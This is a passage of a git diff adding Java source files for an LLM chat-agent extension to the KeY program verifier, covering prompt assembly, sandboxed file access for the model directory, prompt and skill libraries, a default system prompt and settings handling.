+        @Override
+        public Map<String, Object> handleEntity(HttpEntity entity) throws IOException {
+            String content;
+            try {
+                content = EntityUtils.toString(entity);
+            } catch (ParseException e) {
+                throw new RuntimeException(e);
+            }
+            try {
+                return new GsonBuilder().create().fromJson(content, Map.class);
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    public static class ResponseHandlerObj extends AbstractHttpClientResponseHandler<JsonObject> {
+        @Override
+        public JsonObject handleEntity(HttpEntity entity) throws IOException {
+            String content;
+            try {
+                content = EntityUtils.toString(entity);
+            } catch (ParseException e) {
+                throw new RuntimeException(e);
+            }
+            try {
+                return new GsonBuilder().create().fromJson(content, JsonObject.class);
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/ExtendedPrompt.java b/keyext.llm/src/main/java/org/key_project/key/llm/ExtendedPrompt.java
new file mode 100644
index 00000000000..7fe7d3445e5
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/ExtendedPrompt.java
@@ -0,0 +1,224 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.io.IOException;
+import java.net.URI;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.ArrayList;
+import java.util.Base64;
+import java.util.List;
+import java.util.Map;
+
+import de.uka.ilkd.key.proof.Node;
+import de.uka.ilkd.key.proof.Proof;
+
+import org.key_project.key.llm.mcp.Tool;
+
+import org.jspecify.annotations.Nullable;
+
+/**
+ * Builds the complete KeY-Agent request from the current session, proof state and user message.
+ * <p>
+ * This replaces the ad-hoc message assembly that used to live in the chat panel. The panel only
+ * collects the raw input; everything the model needs is assembled here:
+ * <ul>
+ * <li>the system prompt (plus instructions of the active skill)</li>
+ * <li>the proof-context block, when {@link LlmSession#isAttachProofContext()} is enabled</li>
+ * <li>attached text files and multi-modal image attachments</li>
+ * <li>the (capped) conversation history from the per-proof {@link LlmSession} context</li>
+ * <li>the resolved user prompt</li>
+ * </ul>
+ *
+ * @author Alexander Weigl
+ */
+public final class ExtendedPrompt {
+    private ExtendedPrompt() {
+    }
+
+    /**
+     * Assembles one chat-completion request.
+     *
+     * @param session the session holding endpoint/model/config and history
+     * @param proof the currently selected proof (may be {@code null})
+     * @param selectedNode the currently selected proof node (may be {@code null})
+     * @param resolvedUserText the user message with {@code $}, {@code @} and {@code /} markup
+     *        already
+     *        resolved (see {@link PromptResolver})
+     * @param skill an active skill whose instructions are appended to the system prompt
+     */
+    public static AgentRequest build(LlmSession session, @Nullable Proof proof,
+            @Nullable Node selectedNode, String resolvedUserText, @Nullable Skill skill) {
+        var settings = LlmSettings.INSTANCE;
+        var messages = new ArrayList<Map<String, Object>>();
+
+        messages.add(system(session, skill));
+        if (session.isAttachProofContext()) {
+            messages.add(contextBlock(proof, selectedNode));
+        }
+        List<Map<String, Object>> imageParts = new ArrayList<>();
+        var attachments = buildAttachments(session, imageParts);
+        if (!attachments.isEmpty()) {
+            messages.add(systemBlock("Attached files", attachments));
+        }
+
+        addHistory(messages, session, settings);
+
+        if (imageParts.isEmpty()) {
+            messages.add(user(resolvedUserText));
+        } else {
+            messages.add(userWithImagesAndText(resolvedUserText, imageParts));
+        }
+
+        var tools = session.getMcpClient().getTools().stream().map(Tool::toMap).toList();
+
+        Double temperature = settings.getSendTemperature() ? settings.getTemperature() : null;
+        Integer maxTokens =
+            settings.getSendMaxOutputTokens() ? settings.getMaxOutputTokens() : null;
+
+        return new AgentRequest(session.getModel(), messages, tools, temperature, maxTokens,
+            settings.getMaxToolRounds());
+    }
+
+    private static Map<String, Object> system(LlmSession session, @Nullable Skill skill) {
+        var sb = new StringBuilder(LlmSettings.INSTANCE.getSystemPrompt());
+        if (skill != null) {
+            sb.append("\n\n# Active skill: ").append(skill.name()).append('\n');
+            if (!skill.description().isBlank()) {
+                sb.append(skill.description()).append('\n');
+            }
+            if (!skill.instructions().isBlank()) {
+                sb.append("\nInstructions:\n").append(skill.instructions());
+            }
+        }
+        return Map.of("role", "system", "content", sb.toString());
+    }
+
+    private static Map<String, Object> systemBlock(String title, String content) {
+        return Map.of("role", "system", "content", "## " + title + "\n" + content);
+    }
+
+    private static Map<String, Object> contextBlock(@Nullable Proof proof, @Nullable Node node) {
+        return Map.of("role", "system", "content",
+            ProofContextCollector.contextBlock(proof, node));
+    }
+
+    private static Map<String, Object> user(String text) {
+        return Map.of("role", "user", "content", text);
+    }
+
+    private static Map<String, Object> userWithImagesAndText(String text,
+            List<Map<String, Object>> imageParts) {
+        var parts = new ArrayList<Map<String, Object>>();
+        parts.add(Map.of("type", "text", "text", text));
+        parts.addAll(imageParts);
+        return Map.of("role", "user", "content", parts);
+    }
+
+    /**
+     * Serializes the attached text files as one block and collects image attachments as
+     * base64 data-URL content parts. Bounded by the file settings.
+     */
+    private static String buildAttachments(LlmSession session,
+            List<Map<String, Object>> imageParts) {
+        var settings = LlmSettings.INSTANCE;
+        int max = Math.max(0, settings.getMaxFileAttachments());
+        var sb = new StringBuilder();
+        int used = 0;
+        for (URI uri : session.getSelectedFiles()) {
+            if (used >= max) {
+                sb.append("... (further attachments omitted)\n");
+                break;
+            }
+            Path path;
+            try {
+                path = Path.of(uri);
+            } catch (IllegalArgumentException e) {
+                continue;
+            }
+            if (!Files.isRegularFile(path)) {
+                continue;
+            }
+            String fileName = path.getFileName().toString();
+            if (isImage(fileName)) {
+                try {
+                    byte[] data = Files.readAllBytes(path);
+                    imageParts.add(Map.of("type", "image_url",
+                        "image_url", Map.of("url",
+                            "data:" + mimeType(fileName) + ";base64," + Base64.getEncoder()
+                                    .encodeToString(data))));
+                } catch (IOException e) {
+                    sb.append("  - ").append(fileName)
+                            .append(" (could not be read: ").append(e.getMessage()).append(")\n");
+                }
+                used++;
+                continue;
+            }
+            if (FileAccess.isBinary(fileName)) {
+                continue;
+            }
+            if (Files.isDirectory(path)) {
+                continue;
+            }
+            try {
+                var content = FileAccess.readText(path);
+                sb.append("#### ").append(uri.getPath()).append('\n');
+                sb.append("```\n").append(content).append("\n```\n");
+                used++;
+            } catch (IOException e) {
+                sb.append("  - ").append(uri).append(" (could not be read: ").append(e.getMessage())
+                        .append(")\n");
+            }
+        }
+        return sb.toString();
+    }
+
+    private static boolean isImage(String fileName) {
+        var lower = fileName.toLowerCase();
+        return lower.endsWith(".png") || lower.endsWith(".jpg") || lower.endsWith(".jpeg")
+                || lower.endsWith(".gif") || lower.endsWith(".webp");
+    }
+
+    private static String mimeType(String fileName) {
+        var lower = fileName.toLowerCase();
+        if (lower.endsWith(".png")) {
+            return "image/png";
+        }
+        if (lower.endsWith(".jpg") || lower.endsWith(".jpeg")) {
+            return "image/jpeg";
+        }
+        if (lower.endsWith(".gif")) {
+            return "image/gif";
+        }
+        if (lower.endsWith(".webp")) {
+            return "image/webp";
+        }
+        return "application/octet-stream";
+    }
+
+    /**
+     * Appends the conversation history from the session context, capped by the history settings.
+     */
+    private static void addHistory(List<Map<String, Object>> messages, LlmSession session,
+            LlmSettings settings) {
+        var history = new ArrayList<>(session.getContext().getMessages());
+        int maxChars = settings.getMaxHistoryChars();
+        int maxMsgs = settings.getMaxHistoryMessages();
+
+        // drop oldest messages until we stay within message and character budget
+        int start = 0;
+        int totalChars = 0;
+        for (int i = history.size() - 1; i >= 0; i--) {
+            totalChars += history.get(i).content().length();
+            if (history.size() - i > maxMsgs || totalChars > maxChars) {
+                start = i + 1;
+                break;
+            }
+        }
+        for (int i = start; i < history.size(); i++) {
+            messages.add(history.get(i).toOpenAiMap());
+        }
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/FileAccess.java b/keyext.llm/src/main/java/org/key_project/key/llm/FileAccess.java
new file mode 100644
index 00000000000..c36e6523d90
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/FileAccess.java
@@ -0,0 +1,166 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.ArrayList;
+import java.util.Comparator;
+import java.util.List;
+
+import de.uka.ilkd.key.proof.Proof;
+
+import org.jspecify.annotations.Nullable;
+
+/**
+ * Bounded and sandboxed access to the files of the current Java model. Used by the built-in file
+ * tools, by the {@code @file:...} prompt references and by the file listing UI.
+ * <p>
+ * All operations are confined to the model directory of the current proof (the {@code jail}).
+ * Absolute paths outside the jail, {@code ..} segments and symlink escapes are rejected.
+ *
+ * @author Alexander Weigl
+ */
+public final class FileAccess {
+    /** Directories skipped while enumerating the model tree. */
+    private static final List<String> SKIP_DIRS = List.of(".git", ".hg", ".svn", "build",
+        "target", "out", "node_modules", ".gradle", ".idea", ".classpath");
+
+    /** Extensions treated as binary and listed but not offered for reading. */
+    private static final List<String> BINARY_EXTENSIONS =
+        List.of(".class", ".jar", ".jpg", ".jpeg", ".png", ".gif", ".webp", ".pdf", ".zip",
+            ".gz", ".bin", ".o", ".so", ".dll");
+
+    private FileAccess() {
+    }
+
+    /** Returns the model directory of the given proof, or {@code null} if unavailable. */
+    public static @Nullable Path modelRoot(@Nullable Proof proof) {
+        if (proof == null) {
+            return null;
+        }
+        var javaModel = proof.getEnv().getServicesForEnvironment().getJavaModel();
+        return javaModel == null ? null : javaModel.getModelDir();
+    }
+
+    /**
+     * Lists regular files under the model directory, bounded to
+     * {@link LlmSettings#getMaxModelListingEntries()} entries. Never returns {@code null}.
+     */
+    public static List<Path> listFiles(@Nullable Proof proof) {
+        return listFiles(proof, LlmSettings.INSTANCE.getMaxModelListingEntries());
+    }
+
+    /** Lists regular files, bounded to {@code limit} entries. */
+    public static List<Path> listFiles(@Nullable Proof proof, int limit) {
+        var root = modelRoot(proof);
+        if (root == null) {
+            return List.of();
+        }
+        if (!Files.exists(root)) {
+            return List.of();
+        }
+        try {
+            if (Files.isRegularFile(root)) {
+                return List.of(root);
+            }
+            var result = new ArrayList<Path>();
+            try (var stream = Files.walk(root)) {
+                stream.limit(2L * limit).forEach(p -> {
+                    if (result.size() < limit && Files.isRegularFile(p)) {
+                        result.add(p);
+                    }
+                });
+            }
+            result.sort(Comparator.comparing(p -> relative(root, p)));
+            return result;
+        } catch (IOException e) {
+            return List.of();
+        }
+    }
+
+    private static String relative(Path root, Path p) {
+        try {
+            return root.relativize(p).toString();
+        } catch (IllegalArgumentException e) {
+            return p.toString();
+        }
+    }
+
+    /**
+     * Resolves a possibly relative path against the model jail. Returns {@code null} if the
+     * resolved path escapes the jail (or the jail is unavailable).
+     */
+    public static @Nullable Path resolveInModel(@Nullable Proof proof, String requested) {
+        var root = modelRoot(proof);
+        if (root == null) {
+            return null;
+        }
+        Path resolved;
+        var req = Path.of(requested);
+        if (req.isAbsolute()) {
+            resolved = req.normalize();
+        } else {
+            resolved = root.resolve(req).normalize();
+        }
+        if (!resolved.startsWith(root)) {
+            return null;
+        }
+        return resolved;
+    }
+
+    /** Reads a text file, bounded to the settings' size and character caps. */
+    public static String readText(Path path) throws IOException {
+        if (!Files.isRegularFile(path)) {
+            throw new IOException("not a regular file: " + path);
+        }
+        long maxBytes = LlmSettings.INSTANCE.getMaxFileSizeKB() * 1024L;
+        if (Files.size(path) > maxBytes) {
+            throw new IOException("file larger than maxFileSizeKB");
+        }
+        var text = Files.readString(path, StandardCharsets.UTF_8);
+        int cap = Math.max(1, LlmSettings.INSTANCE.getMaxFileContentChars());
+        if (text.length() > cap) {
+            text = text.substring(0, cap) + "\n... [truncated]";
+        }
+        return text;
+    }
+
+    /** Whether a file is considered binary (by extension) and not offered for reading. */
+    public static boolean isBinary(String fileName) {
+        var lower = fileName.toLowerCase();
+        for (String ext : BINARY_EXTENSIONS) {
+            if (lower.endsWith(ext)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * Returns the relative name of a file inside the model tree (or its absolute path if it is
+     * outside), used for {@code @file:...} references.
+     */
+    public static @Nullable String relativeName(@Nullable Proof proof, Path absolute) {
+        var root = modelRoot(proof);
+        if (root == null) {
+            return absolute.toString();
+        }
+        try {
+            if (absolute.startsWith(root)) {
+                return root.relativize(absolute).toString();
+            }
+        } catch (IllegalArgumentException e) {
+            // fall through
+        }
+        return null;
+    }
+
+    /** Directories that are always skipped during enumeration. */
+    public static List<String> skipDirectories() {
+        return SKIP_DIRS;
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/FileBackedLibrary.java b/keyext.llm/src/main/java/org/key_project/key/llm/FileBackedLibrary.java
new file mode 100644
index 00000000000..457a087f04d
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/FileBackedLibrary.java
@@ -0,0 +1,126 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.ArrayList;
+import java.util.Comparator;
+import java.util.List;
+
+import de.uka.ilkd.key.settings.PathConfig;
+
+/**
+ * Shared plumbing for the file-backed user libraries (prompts and skills). Content is stored as
+ * human-readable JSON files under {@code <key-config-dir>/llm/prompts|skills/<name>.json}. Names
+ * are validated so they cannot escape the library directory.
+ *
+ * @author Alexander Weigl
+ */
+abstract class FileBackedLibrary<E> {
+
+    /** The directory holding the JSON files of this library. */
+    protected abstract String subDirectory();
+
+    /** Reads a single element from its JSON text. */
+    protected abstract E fromJson(String json);
+
+    /** Serializes a single element to JSON text. */
+    protected abstract String toJson(E element);
+
+    /** Returns the id of an element (also the file name). */
+    protected abstract String nameOf(E element);
+
+    /** Validates a new/replacement name. Returns {@code null} when valid. */
+    protected abstract String validate(E element);
+
+    private static final java.util.regex.Pattern NAME =
+        java.util.regex.Pattern.compile("[a-zA-Z0-9_-]+");
+
+    protected Path baseDir() {
+        if (PathConfig.currentPaths != null) {
+            return PathConfig.currentPaths.keyConfigDir.resolve("llm").resolve(subDirectory());
+        }
+        return Path.of(System.getProperty("user.home", "."), ".key", "llm")
+                .resolve(subDirectory());
+    }
+
+    public synchronized List<E> all() {
+        var dir = baseDir();
+        var result = new ArrayList<E>();
+        try {
+            if (!Files.isDirectory(dir)) {
+                return result;
+            }
+            try (var stream = Files.list(dir)) {
+                stream.filter(p -> p.toString().endsWith(".json"))
+                        .sorted(Comparator.comparing(Path::toString)).forEach(p -> {
+                            try {
+                                var json = Files.readString(p, StandardCharsets.UTF_8);
+                                var e = fromJson(json);
+                                if (e != null) {
+                                    result.add(e);
+                                }
+                            } catch (IOException ex) {
+                                // skip unreadable file
+                            }
+                        });
+            }
+        } catch (IOException e) {
+            // treat as empty library
+        }
+        return result;
+    }
+
+    public synchronized E get(String name) {
+        for (E e : all()) {
+            if (nameOf(e).equals(name)) {
+                return e;
+            }
+        }
+        return null;
+    }
+
+    public synchronized boolean exists(String name) {
+        return get(name) != null;
+    }
+
+    /** Saves (creates or replaces) an element. Returns {@code null} on success or an error text. */
+    public synchronized String save(E element) {
+        var error = validate(element);
+        if (error != null) {
+            return error;
+        }
+        try {
+            Files.createDirectories(baseDir());
+            var target = baseDir().resolve(nameOf(element) + ".json");
+            Files.writeString(target, toJson(element), StandardCharsets.UTF_8);
+            return null;
+        } catch (IOException e) {
+            return "Could not write library file: " + e.getMessage();
+        }
+    }
+
+    public synchronized String delete(String name) {
+        var file = baseDir().resolve(name + ".json");
+        try {
+            if (Files.deleteIfExists(file)) {
+                return null;
+            }
+            return "No such entry: " + name;
+        } catch (IOException e) {
+            return "Could not delete " + name + ": " + e.getMessage();
+        }
+    }
+
+    public synchronized void reload() {
+        // directories are scanned on every access; nothing to cache
+    }
+
+    protected static boolean validName(String name) {
+        return name != null && !name.isBlank() && NAME.matcher(name).matches();
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/KeYAgentPrompts.java b/keyext.llm/src/main/java/org/key_project/key/llm/KeYAgentPrompts.java
new file mode 100644
index 00000000000..fe230c44dd8
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/KeYAgentPrompts.java
@@ -0,0 +1,50 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+/**
+ * Default system prompt and prompt-related constants for the KeY-Agent.
+ *
+ * @author Alexander Weigl
+ */
+public final class KeYAgentPrompts {
+    private KeYAgentPrompts() {
+    }
+
+    public static final String SYSTEM_PROMPT = """
+            You are the KeY-Agent, an assistant that helps with program verification and theorem
+            proving using the KeY prover (https://key-project.org).
+
+            KeY is a formal verification tool for Java (and JavaCard) programs. It works on proofs
+            in (Java) Dynamic Logic. Proofs are developed on goals. A goal is a sequent
+
+                          antecedent  ==>  succedent
+
+            stating that under all assumptions in the antecedent either a formula of the succedent
+            holds or the succedent is inconsistent. A proof is complete when every goal is closed,
+            i.e. its sequent is trivially satisfiable.
+
+            Guidelines:
+            - Answer concretely and in terms of the current proof state when it is available.
+            - Only claim a proof obligation is provable when you can justify it; otherwise propose a
+              strategy (loop invariants, induction, modular arithmetic handling, ...).
+            - Do not guess exact method names, rule names or formatter output; prefer tools over
+              recollection.
+            - Ask the user a question whenever a case split, an assumption or a design decision is
+              ambiguous, but do not ask trivial questions.
+            - Use the provided tools to inspect the proof state, list and read files, or run safe
+              commands; never attempt to execute destructive commands.
+            """;
+
+    public static final String DEFAULT_MODEL = "azure.gpt-4.1-mini";
+
+    public static final String DEFAULT_AVAILABLE_MODELS =
+        "azure.gpt-4.1-mini,gpt-oss:120b,mixtral:8x22b,qwen3-vl:235b-a22b-instruct";
+
+    /** Context-token names understood by {@link PromptResolver} (excluding {@code file:...}). */
+    public static final String[] CONTEXT_TOKENS = {
+        "seq", "goals", "proof", "proofName", "computePath", "model", "classpath",
+        "bootClasspath", "selectedFiles", "input"
+    };
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/LlmContext.java b/keyext.llm/src/main/java/org/key_project/key/llm/LlmContext.java
new file mode 100644
index 00000000000..da89764896a
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/LlmContext.java
@@ -0,0 +1,98 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Conversation context maintained per proof (see {@link LlmSession}).
+ * <p>
+ * Unlike the original implementation, messages may carry additional protocol fields:
+ * {@code tool_call_id} for tool results and {@code tool_calls} for assistant messages that
+ * requested tool executions. This is required to continue a tool-calling conversation with
+ * OpenAI-compatible endpoints.
+ *
+ * @author Alexander Weigl
+ */
+public class LlmContext {
+    private final List<LlmMessage> messages = new ArrayList<>();
+
+    public void addMessage(LlmMessage message) {
+        messages.add(message);
+    }
+
+    public void addMessages(Collection<LlmMessage> msgs) {
+        messages.addAll(msgs);
+    }
+
+    public void clear() {
+        messages.clear();
+    }
+
+    public boolean isEmpty() {
+        return messages.isEmpty();
+    }
+
+    public List<LlmMessage> getMessages() {
+        return messages;
+    }
+
+    /**
+     * A single chat message in OpenAI-style wire terms.
+     *
+     * @param role "system", "user", "assistant" or "tool"
+     * @param content text content (empty string for pure tool-call assistant messages)
+     * @param toolCallId the {@code tool_call_id} for role "tool"
+     * @param toolCalls the tool calls for role "assistant"
+     */
+    public record LlmMessage(String role, String content, String toolCallId,
+            List<Map<String, Object>> toolCalls) {
+
+        public LlmMessage {
+            content = content == null ? "" : content;
+        }
+
+        public LlmMessage(String role, String content) {
+            this(role, content, null, null);
+        }
+
+        public static LlmMessage user(String content) {
+            return new LlmMessage("user", content);
+        }
+
+        public static LlmMessage assistant(String content) {
+            return new LlmMessage("assistant", content);
+        }
+
+        public static LlmMessage assistant(String content, List<Map<String, Object>> toolCalls) {
+            return new LlmMessage("assistant", content, null, toolCalls);
+        }
+
+        public static LlmMessage tool(String toolCallId, String content) {
+            return new LlmMessage("tool", content, toolCallId, null);
+        }
+
+        public static LlmMessage system(String content) {
+            return new LlmMessage("system", content);
+        }
+
+        /** Serializes this message to the OpenAI wire format. */
+        public Map<String, Object> toOpenAiMap() {
+            var m = new LinkedHashMap<String, Object>();
+            m.put("role", role);
+            m.put("content", content);
+            if (toolCallId != null) {
+                m.put("tool_call_id", toolCallId);
+            }
+            if (toolCalls != null) {
+                m.put("tool_calls", toolCalls);
+            }
+            return m;
+        }
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/LlmExtension.java b/keyext.llm/src/main/java/org/key_project/key/llm/LlmExtension.java
new file mode 100644
index 00000000000..c4db5a7853b
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/LlmExtension.java
@@ -0,0 +1,141 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.awt.event.ActionEvent;
+import java.util.Collection;
+import java.util.List;
+import javax.swing.*;
+
+import de.uka.ilkd.key.core.KeYMediator;
+import de.uka.ilkd.key.gui.MainWindow;
+import de.uka.ilkd.key.gui.actions.KeyAction;
+import de.uka.ilkd.key.gui.actions.MainWindowAction;
+import de.uka.ilkd.key.gui.docking.DockingHelper;
+import de.uka.ilkd.key.gui.extension.api.ContextMenuKind;
+import de.uka.ilkd.key.gui.extension.api.KeYGuiExtension;
+import de.uka.ilkd.key.gui.extension.api.TabPanel;
+import de.uka.ilkd.key.gui.keyshortcuts.KeyStrokeManager;
+import de.uka.ilkd.key.gui.settings.InvalidSettingsInputException;
+import de.uka.ilkd.key.gui.settings.SettingsProvider;
+import de.uka.ilkd.key.settings.ProofIndependentSettings;
+
+import org.jspecify.annotations.NonNull;
+import org.jspecify.annotations.Nullable;
+
+/**
+ * KeY GUI extension that provides the KeY-Agent chat panel and its settings.
+ *
+ * @author Alexander Weigl
+ */
+@KeYGuiExtension.Info(experimental = false, description = "LLM support for KeY")
+public class LlmExtension implements KeYGuiExtension, KeYGuiExtension.ContextMenu,
+        KeYGuiExtension.Settings, KeYGuiExtension.Startup, KeYGuiExtension.LeftPanel,
+        KeYGuiExtension.MainMenu {
+    private KeyAction actionStartLlmPromptForCurrentProof;
+    private TabPanel uiPrompt;
+
+    @Override
+    public @NonNull List<Action> getContextActions(
+            @NonNull KeYMediator mediator, @NonNull ContextMenuKind kind,
+            @NonNull Object underlyingObject) {
+        return List.of();
+    }
+
+    @Override
+    public LlmSettingsProvider getSettings() {
+        return new LlmSettingsProvider();
+    }
+
+    @Override
+    public void preInit(MainWindow window, KeYMediator mediator) {
+        ProofIndependentSettings.DEFAULT_INSTANCE.addSettings(LlmSettings.INSTANCE);
+        actionStartLlmPromptForCurrentProof = new StartLlmPromptForCurrentProofAction(window);
+    }
+
+    @Override
+    public @NonNull List<Action> getMainMenuActions(@NonNull MainWindow mainWindow) {
+        return List.of(actionStartLlmPromptForCurrentProof);
+    }
+
+    @Override
+    public @NonNull Collection<TabPanel> getPanels(@NonNull MainWindow window,
+            @NonNull KeYMediator mediator) {
+        uiPrompt = new LlmPrompt(window, mediator);
+        return List.of(uiPrompt);
+    }
+
+    public static class LlmSettingsProvider implements SettingsProvider {
+        public static @Nullable LlmSettingsUI ui;
+
+        @Override
+        public String getDescription() {
+            return "LLM Settings";
+        }
+
+        @Override
+        public JPanel getPanel(MainWindow window) {
+            return ui = new LlmSettingsUI(LlmSettings.INSTANCE);
+        }
+
+        @Override
+        public void applySettings(MainWindow window) throws InvalidSettingsInputException {
+            var source = ui.getModel();
+            var target = LlmSettings.INSTANCE;
+            target.setApiEndpoint(source.getApiEndpoint());
+            target.setAuthToken(source.getAuthToken());
+            target.setDefaultModel(source.getDefaultModel());
+            target.setAvailableModels(new java.util.ArrayList<>(source.getAvailableModels()));
+            target.setSystemPrompt(source.getSystemPrompt());
+            target.setMaxToolRounds(source.getMaxToolRounds());
+            target.setAllowAgentQuestions(source.getAllowAgentQuestions());
+            target.setSendTemperature(source.getSendTemperature());
+            target.setTemperature(source.getTemperature());
+            target.setSendMaxOutputTokens(source.getSendMaxOutputTokens());
+            target.setMaxOutputTokens(source.getMaxOutputTokens());
+            target.setAgentCanUseSkills(source.getAgentCanUseSkills());
+            target.setAttachProofContext(source.getAttachProofContext());
+            target.setProofContextMaxSequents(source.getProofContextMaxSequents());
+            target.setProofContextMaxChars(source.getProofContextMaxChars());
+            target.setMaxHistoryMessages(source.getMaxHistoryMessages());
+            target.setMaxHistoryChars(source.getMaxHistoryChars());
+            target.setMaxFileAttachments(source.getMaxFileAttachments());
+            target.setMaxFileSizeKB(source.getMaxFileSizeKB());
+            target.setMaxFileContentChars(source.getMaxFileContentChars());
+            target.setMaxModelListingEntries(source.getMaxModelListingEntries());
+            target.setShellEnabled(source.getShellEnabled());
+            target.setShellTimeoutSeconds(source.getShellTimeoutSeconds());
+            target.setShellMaxOutputChars(source.getShellMaxOutputChars());
+            target.setShellBlockedPatterns(
+                new java.util.ArrayList<>(source.getShellBlockedPatterns()));
+            target.setToolsDisabled(new java.util.TreeSet<>(source.getToolsDisabled()));
+            target.setAllowedToolsWithApproval(
+                new java.util.TreeSet<>(source.getAllowedToolsWithApproval()));
+            target.setAllowedToolsWithoutApproval(
+                new java.util.TreeSet<>(source.getAllowedToolsWithoutApproval()));
+            target.setAutoScrollOutput(source.getAutoScrollOutput());
+            target.setShowToolActivity(source.getShowToolActivity());
+        }
+    }
+}
+
+
+/**
+ * Menu action that opens (and focuses) the KeY-Agent panel.
+ */
+class StartLlmPromptForCurrentProofAction extends MainWindowAction {
+    protected StartLlmPromptForCurrentProofAction(MainWindow mainWindow) {
+        super(mainWindow, true);
+
+        setName("Open LLM prompt");
+        setMenuPath("Proof.LLM");
+        KeyStrokeManager.get(this, "ctrl P");
+        setAcceleratorLetter('K');
+    }
+
+    @Override
+    public void actionPerformed(ActionEvent e) {
+        DockingHelper.focus(mainWindow, LlmPrompt.class);
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/LlmLibraryDialogs.java b/keyext.llm/src/main/java/org/key_project/key/llm/LlmLibraryDialogs.java
new file mode 100644
index 00000000000..9ae458e8c9c
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/LlmLibraryDialogs.java
@@ -0,0 +1,164 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.awt.*;
+import java.util.ArrayList;
+import javax.swing.*;
+
+import org.key_project.key.llm.mcp.BuiltInMCPClient;
+
+import org.jspecify.annotations.Nullable;
+
+/**
+ * Dialogs to create and edit user-defined prompts and skills. The results are persisted by the
+ * file-backed {@link PromptLibrary} / {@link SkillLibrary}.
+ *
+ * @author Alexander Weigl
+ */
+public final class LlmLibraryDialogs {
+    private LlmLibraryDialogs() {
+    }
+
+    /**
+     * Shows the prompt editor. A newly created prompt that is valid is stored in
+     * {@link PromptLibrary}.
+     *
+     * @param parent the owner window
+     * @param initialName prefilled name (for replacement) or {@code null}
+     * @param initialTemplate prefilled template (e.g. the current input) or {@code null}
+     */
+    public static void showPromptDialog(Component parent, @Nullable String initialName,
+            @Nullable String initialTemplate) {
+        var name = new JTextField(initialName == null ? "" : initialName, 30);
+        var description = new JTextField(30);
+        var template = new JTextArea(initialTemplate == null ? "" : initialTemplate, 10, 40);
+        template.setLineWrap(true);
+        template.setWrapStyleWord(true);
+
+        var panel = new JPanel(new GridBagLayout());
+        var gbc = new GridBagConstraints();
+        gbc.gridx = 0;
+        gbc.gridy = 0;
+        gbc.anchor = GridBagConstraints.WEST;
+        gbc.insets = new Insets(4, 4, 4, 4);
+        panel.add(new JLabel("Name (letters, digits, '_', '-'):"), gbc);
+        gbc.gridx = 1;
+        gbc.fill = GridBagConstraints.HORIZONTAL;
+        gbc.weightx = 1;
+        panel.add(name, gbc);
+        gbc.gridx = 0;
+        gbc.gridy = 1;
+        gbc.fill = GridBagConstraints.NONE;
+        gbc.weightx = 0;
+        panel.add(new JLabel("Description:"), gbc);
+        gbc.gridx = 1;
+        gbc.fill = GridBagConstraints.HORIZONTAL;
+        gbc.weightx = 1;
+        panel.add(description, gbc);
+        gbc.gridx = 0;
+        gbc.gridy = 2;
+        gbc.fill = GridBagConstraints.NONE;
+        gbc.weightx = 0;
+        panel.add(new JLabel("Template:"), gbc);
+        gbc.gridx = 1;
+        gbc.gridy = 2;
+        gbc.fill = GridBagConstraints.BOTH;
+        gbc.weighty = 1;
+        panel.add(new JScrollPane(template), gbc);
+
+        int ok = JOptionPane.showConfirmDialog(parent, panel, "Edit prompt",
+            JOptionPane.OK_CANCEL_OPTION, JOptionPane.PLAIN_MESSAGE);
+        if (ok != JOptionPane.OK_OPTION) {
+            return;
+        }
+        var prompt = new Prompt(name.getText(), description.getText().strip(), template.getText());
+        var error = PromptLibrary.INSTANCE.save(prompt);
+        if (error != null) {
+            JOptionPane.showMessageDialog(parent, error, "Could not save prompt",
+                JOptionPane.ERROR_MESSAGE);
+        }
+    }
+
+    /** Shows the skill editor and stores a valid result in {@link SkillLibrary}. */
+    public static void showSkillDialog(Component parent, @Nullable Skill existing) {
